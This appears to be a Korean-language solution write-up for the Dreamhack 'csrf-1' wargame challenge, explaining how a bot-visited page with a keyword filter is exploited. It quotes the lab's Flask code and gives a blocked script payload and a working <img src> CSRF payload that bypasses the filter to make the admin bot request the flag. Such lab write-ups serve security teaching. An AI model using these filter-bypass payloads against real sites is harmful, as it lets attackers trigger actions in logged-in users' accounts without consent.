https://dreamhack.io/wargame/challenges/26
여러 기능과 입력받은 URL을 확인하는 봇이 구현된 서비스입니다.
CSRF 취약점을 이용해 플래그를 획득하는 문제입니다.
CSRF 취약점 : 사용자가 로그인된 상태를 악용하여, 공격자가 의도한 요청을 사용자 모르게 실행하게 하는 공격입니다.
드림핵의 xss-1 문제와 유사합니다.
xss-1 문제 풀이 : https://velog.io/@yunaa/Dreamhack-xss-1-XSS공격

http://127.0.0.1:8000/vuln?param=( ) 에 무언갈 입력할 수 있습니다. 이 입력을 통해 CSRF 공격을 하는 문제임을 알 수 있습니다. app.py를 보면, @app.route("/admin/notice_flag")
def admin_notice_flag():
global memo_text
if request.remote_addr != "127.0.0.1":
return "Access Denied"
if request.args.get("userid", "") != "admin":
return "Access Denied 2"
memo_text += f"[Notice] flag is {FLAG}\n"
return "Ok"란 코드를 확인할 수 있습니다. 이를 해석해보면 /admin/notice_flag 에 접속한 사용자의 ip가 127.0.0.1이고, userid 가 admin 인 경우에만 memo에 플래그가 입력됨을 알 수 있습니다.http://127.0.0.1:8000/vuln?param=( ) 에<script>
fetch("/admin/notice_flag?userid=admin");
</script>를 입력해 보았지만, 플래그가 출력되지 않았습니다. @app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param코드를 통해 그 이유를 확인해 볼 수 있습니다. 공격을 막기 위해 script가 포함된 키워드는 "*"로 대체됩니다. 즉, 공격을 위해서는 다른 우회법이 필요합니다.<img src="/admin/notice_flag?userid=admin"> 를 입력하였습니다.
태그는 HTML 문서 안에서 이미지를 삽입할 때 사용합니다. 브라우저는 이 태그를 만나면 src 속성에 있는 URL에 자동으로 GET 요청을 보냅니다.
하지만 특별한 방어가 없는 이상, 브라우저는 URL이 src가 이미지가 아니더라도 무조건 GET 요청을 보냅니다.
이를 이용해서 /admin/notice_flag 에 userid=admin 으로 접속해 GET할 수 있는 요청을 보낼 수 있습니다.
7. memo에 접속하여 정상적으로 플래그를 획득하였습니다.

script 로 접속이 불가능한 상황에 우회할 수 있는 방법인 <img> 태그에 대해 알 수 있었습니다./admin/notice_flag?userid=admin.<script> tags are filtered (script, on, frame → *).<img src="/admin/notice_flag?userid=admin"> to bypass the filter and trigger the request.